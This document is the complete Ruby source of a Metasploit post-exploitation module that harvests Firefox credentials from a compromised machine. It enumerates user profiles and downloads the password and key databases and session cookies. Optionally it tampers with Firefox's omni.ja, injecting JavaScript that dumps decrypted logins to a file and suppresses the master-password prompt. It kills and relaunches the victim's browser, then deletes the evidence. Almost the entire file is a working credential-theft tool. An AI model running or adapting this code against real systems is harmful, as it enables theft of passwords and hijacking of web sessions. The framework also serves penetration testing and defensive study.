metasploit-framework/modules/post/multi/gather/firefox_creds.rb

653 lines
18 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'zip/zip'
require 'tmpdir'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather Firefox Signon Credential Collection',
'Description' => %q{
This module will collect credentials from the Firefox web browser if it is
installed on the targeted machine. Additionally, cookies are downloaded. Which
could potentially yield valid web sessions.
Firefox stores passwords within the signons.sqlite database file. There is also a
keys3.db file which contains the key for decrypting these passwords. In cases where
a Master Password has not been set, the passwords can easily be decrypted using
third party tools or by setting the DECRYPT option to true. Using the latter often
needs root privileges. Also be warned that if your session dies in the middle of the
file renaming process, this could leave Firefox in a non working state. If a
Master Password was used the only option would be to bruteforce.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bannedit',
'xard4s' # added decryption support
],
'Platform' => %w{ bsd linux osx unix win },
'SessionTypes' => ['meterpreter', 'shell' ]
))
register_options(
[
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
]
)
register_advanced_options(
[
OptBool.new('DISCLAIMER', [false, 'Acknowledge the warning', false])
]
)
#TODO
# - Collect cookies.
end
def run
print_status("Determining session platform and type...")
case session.platform
when /unix|linux|bsd/
@platform = :unix
when /osx/
@platform = :osx
when /win/
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported on windows hosts"
return
end
@platform = :windows
else
print_error("Unsupported platform #{session.platform}")
return
end
if datastore['DECRYPT']
if not datastore['DISCLAIMER']
print_warning("Decrypting the keys causes the possible remote Firefox process to be,")
print_warning("killed. If the user is paying attention, this could make him/her suspicious.")
print_warning("In order to proceed, set the advanced DISCLAIMER option to true.")
return
end
omnija = nil
org_file = 'omni.ja'
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
# sets @paths
return unless get_ff_and_loot_path
print_status("Downloading #{org_file} from #{@paths['ff']}")
omnija = read_file(@paths['ff']+org_file)
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
print_error("Could not download #{org_file}, archive may not exist")
return
end
# cross platform local tempdir, "/" should work on windows too
tmp = Dir::tmpdir + "/" + new_file
print_status("Writing #{org_file} to local file: #{tmp}")
file_local_write(tmp, omnija)
res = nil
print_status("Extracting and modifying #{new_file}...")
begin
# automatically commits the changes made to the zip archive when
# the block terminates
Zip::ZipFile.open(tmp) do |zip_file|
res = modify_omnija(zip_file)
end
rescue Zip::ZipError => e
print_error("Error modifying #{new_file}")
return
end
if res
print_status("Successfully modified #{new_file}")
else
print_error("Failed to patch method")
return
end
print_status("Uploading #{new_file} to #{@paths['ff']}")
print_warning("This takes some extra time") if @platform =~ /unix|osx/
if not upload_file(@paths['ff']+new_file, tmp)
print_error("Could not upload #{new_file}")
return
end
return if not trigger_decrypt(org_file, new_file)
download_creds
else
paths = []
if @platform =~ /unix|osx/
paths = enum_users_unix
else # windows
grab_user_profiles().each do |user|
next if user['AppData'] == nil
dir = check_firefox(user['AppData'])
if dir
paths << dir
end
end
end
if paths.nil?
print_error("No users found with a Firefox directory")
return
end
download_loot(paths.flatten)
end
end
def enum_users_unix
id = whoami
if id.nil? or id.empty?
print_error("This session is not responding, perhaps the session is dead")
end
if @platform == :osx
home = "/Users/"
else
home = "/home/"
end
if got_root?
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
userdirs << "/root\n"
else
print_status("We do not have root privileges")
print_status("Checking #{id} account for Firefox")
if @platform == :osx
firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n")
else
firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n")
end
firefox.each_line do |profile|
profile.chomp!
next if profile =~ /No such file/i
if profile =~ /\.default/
print_status("Found Firefox Profile for: #{id}")
if @platform == :osx
return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"]
else
return [home + id + "/.mozilla/" + "firefox/" + profile + "/"]
end
end
end
return
end
# we got root check all user dirs
paths = []
userdirs.each_line do |dir|
dir.chomp!
next if dir == "." || dir == ".."
dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/
if dir =~ /root/
dir += "/.mozilla/firefox/"
end
print_status("Checking for Firefox Profile in: #{dir}")
stat = session.shell_command("ls #{dir}")
if stat =~ /No such file/i
print_error("Mozilla not found in #{dir}")
next
end
stat.gsub!(/\s/, "\n")
stat.each_line do |profile|
profile.chomp!
if profile =~ /\.default/
print_status("Found Firefox Profile in: #{dir+profile}")
paths << "#{dir+profile}"
end
end
end
return paths
end
def check_firefox(path)
paths = []
path = path + "\\Mozilla\\"
print_status("Checking for Firefox directory in: #{path}")
stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
if !stat
print_error("Firefox not found")
return
end
session.fs.dir.foreach(path) do |fdir|
if fdir =~ /Firefox/i and @platform == :windows
paths << path + fdir + "Profiles\\"
print_good("Found Firefox installed")
break
else
paths << path + fdir
print_status("Found Firefox installed")
break
end
end
if paths.empty?
print_error("Firefox not found")
return
end
print_status("Locating Firefox Profiles...")
print_line("")
path += "Firefox\\Profiles\\"
# we should only have profiles in the Profiles directory store them all
begin
session.fs.dir.foreach(path) do |pdirs|
next if pdirs == "." or pdirs == ".."
print_good("Found Profile #{pdirs}")
paths << path + pdirs
end
rescue
print_error("Profiles directory missing")
return
end
if paths.empty?
return nil
else
return paths
end
end
# checks for needed privileges and wheter Firefox is installed
def get_ff_and_loot_path
@paths = {}
check_paths = []
loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
case @platform
when /win/
if !got_root? and session.sys.config.sysinfo['OS'] !~ /xp/i
print_error("You need root privileges on this platform for DECRYPT option")
return false
end
env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
tmpdir = env_vars['TEMP'] + "\\"
drive = env_vars['SystemDrive']
# this way allows for more independent use of meterpreter
# payload (32 and 64 bit) and cleaner code
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
when /unix/
tmpdir = '/tmp/'
if cmd_exec("whoami").chomp !~ /root/
print_error("You need root privileges on this platform for DECRYPT option")
return false
end
# unix matches linux|unix|bsd but bsd is not supported
if session.platform =~ /bsd/
print_error("Sorry, bsd is not supported by the DECRYPT option")
return false
end
check_paths << '/usr/lib/firefox/'
check_paths << '/usr/lib64/firefox/'
when /osx/
tmpdir = '/tmp/'
check_paths << '/applications/firefox.app/contents/macos/'
end
@paths['ff'] = check_paths.find do |p|
check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
print_status("Checking for Firefox directory in: #{check}")
if directory?(p.sub(/(\\|\/)$/, ''))
print_good("Found Firefox directory")
true
else
print_error("No Firefox directory found")
false
end
end
return false if @paths['ff'].nil?
@paths['loot'] = tmpdir + loot_file
return true
end
def modify_omnija(zip)
files = [
'components/storage-mozStorage.js',
'chrome/toolkit/content/passwordmgr/passwordManager.xul',
'chrome/toolkit/content/global/commonDialog.xul',
'jsloader/resource/gre/components/storage-mozStorage.js'
]
arya = files.map do |file|
fdata = {}
fdata['content'] = zip.read(file) unless file =~ /jsloader/
fdata['outs'] = zip.get_output_stream(file)
fdata
end
stor_js, pwd_xul, dlog_xul, res_js = arya
stor_js['outs_res'] = res_js['outs']
wnd_close = "window.close();"
onload = "Startup(); SignonsStartup(); #{wnd_close}"
# get rid of (possible) master password prompt and close pwd
# manager immediately
dlog_xul['content'].sub!(/commonDialogOnLoad\(\)/, wnd_close)
dlog_xul['outs'].write(dlog_xul['content'])
dlog_xul['outs'].close
pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
pwd_xul['outs'].write(pwd_xul['content'])
pwd_xul['outs'].close
# returns true or false
return patch_method(stor_js)
end
# Patches getAllLogins() method from storage-mozStorage.js
def patch_method(stor_js)
data = ""
# imports needed for IO
imports = %Q|
Components.utils.import("resource://gre/modules/NetUtil.jsm");
Components.utils.import("resource://gre/modules/FileUtils.jsm");
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
# Javascript code to intercept the logins array and write the
# credentials to a file
method_epilog = %Q|
var data = "";
var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
var file = new FileUtils.File(path);
var outstream = FileUtils.openSafeFileOutputStream(file);
var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
converter.charset = "UTF-8";
if (logins.length != 0) {
for (var i = 0; i < logins.length; i++) {
data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
}
} else {
data = "no creds";
}
var istream = converter.convertToInputStream(data);
NetUtil.asyncCopy(istream, outstream);
return logins;
|
regex = [
nil,
[/return\slogins;/, method_epilog],
[/getAllLogins\s:\sfunction\s\(count\)\s{/, nil],
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
]
# match three regular expressions
i = 3
stor_js['content'].each_line do |line|
# there is no real substitution if the matching regex
# has no corresponding patch code
if i != 0 and line.sub!(regex[i][0]) do |match|
if not regex[i][1].nil?
regex[i][1]
else
line
end
end
i -= 1
end
data << line
end
# write the same data to both output streams
stor_js['outs'].write(data)
stor_js['outs_res'].write(data)
stor_js['outs'].close
stor_js['outs_res'].close
i == 0 ? 'return true' : 'return false'
end
# Starts a new firefox process and triggers decryption
def trigger_decrypt(org_file, new_file)
temp_file = "orgomni.ja"
[org_file, new_file, temp_file].each do |f|
f.insert(0, @paths['ff'])
end
# firefox command line arguments
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
# In case of unix-like platform Firefox needs to start under user
# context
if @platform =~ /unix/
# assuming userdir /home/(x) = user
print_status("Enumerating users...")
users = cmd_exec("ls /home")
if users.nil? or users.empty?
print_error("No normal user found")
return false
end
user = users.split()[0]
# Since we can't access the display environment variable
# we have to assume the default value
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
args << "\""
cmd = "su #{user} -c"
elsif @platform =~ /win|osx/
cmd = @paths['ff'] + "firefox"
# on osx, run in background
args << "& sleep 5 && killall firefox" if @platform =~ /osx/
end
# check if firefox is running and kill it
if session.type == "meterpreter"
session.sys.process.each_process do |p|
if p['name'] =~ /firefox\.exe/
print_status("Found running Firefox process, attempting to kill.")
if not session.sys.process.kill(p['pid'])
print_error("Could not kill Firefox process")
return false
end
end
end
elsif session.type != "meterpreter"
p = cmd_exec("ps", "cax | grep firefox")
if p =~ /firefox/
print_status("Found running Firefox process, attempting to kill.")
term = cmd_exec("killall", "firefox && echo true")
if not term =~ /true/
print_error("Could not kill Firefox process")
return false
end
end
end
#
# rename-fu
# omni.ja -> orgomni.ja
# *random*.ja -> omni.ja
# omni.ja -> *random*.ja
# orgomni.ja -> omni.ja
#
rename_file(org_file, temp_file)
rename_file(new_file, org_file)
# automatic termination ( window.close() or arguments)
print_status("Starting Firefox process")
cmd_exec(cmd,args)
rename_file(org_file, new_file)
rename_file(temp_file, org_file)
# clean up
file_rm(new_file)
# at this time it should have a loot file
if !file?(@paths['loot'])
print_error("Decryption failed, there's probably a master password in use")
return false
end
return true
end
def download_loot(paths)
loot = ""
paths.each do |path|
print_status(path)
profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s
if session.type == "meterpreter"
session.fs.dir.foreach(path) do |file|
if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
print_good("Downloading #{file} file from: #{path}")
file = path + "\\" + file
fd = session.fs.file.new(file)
begin
until fd.eof?
data = fd.read
loot << data if not data.nil?
end
rescue EOFError
ensure
fd.close
end
ext = file.split('.')[2]
if ext == "txt"
mime = "plain"
else
mime = "binary"
end
file = file.split('\\').last
store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
end
end
end
if session.type != "meterpreter"
files = session.shell_command("ls #{path}").gsub(/\s/, "\n")
files.each_line do |file|
file.chomp!
if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/
print_good("Downloading #{file}\\")
data = session.shell_command("cat #{path}#{file}")
ext = file.split('.')[2]
if ext == "txt"
mime = "plain"
else
mime = "binary"
end
file = file.split('/').last
store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
end
end
end
end
end
def download_creds
print_good("Downloading loot: #{@paths['loot']}")
loot = read_file(@paths['loot'])
if loot =~ /no creds/
print_status("No Firefox credentials where found")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Firefox credentials',
'Indent' => 1,
'Columns'=>
[
'Hostname',
'User',
'Password'
]
)
creds = loot.split("^")
creds.each do |cred|
hostname, user, pass = cred.rstrip.split(" :: ")
cred_table << [hostname, user, pass]
end
print_line("\n" + cred_table.to_s)
path = store_loot(
"firefox.creds",
"text/plain",
session,
cred_table.to_csv,
"firefox_credentials.txt",
"Firefox Credentials")
# better delete the remote creds file
file_rm(@paths['loot'])
end
def got_root?
case @platform
when :windows
if session.sys.config.getuid =~ /SYSTEM/
return true
else
return false
end
else # unix, bsd, linux, osx
ret = whoami
if ret =~ /root/
return true
else
return false
end
end
end
def whoami
if @platform == :windows
session.sys.config.getenv('USERNAME')
else
session.shell_command("whoami").chomp
end
end
end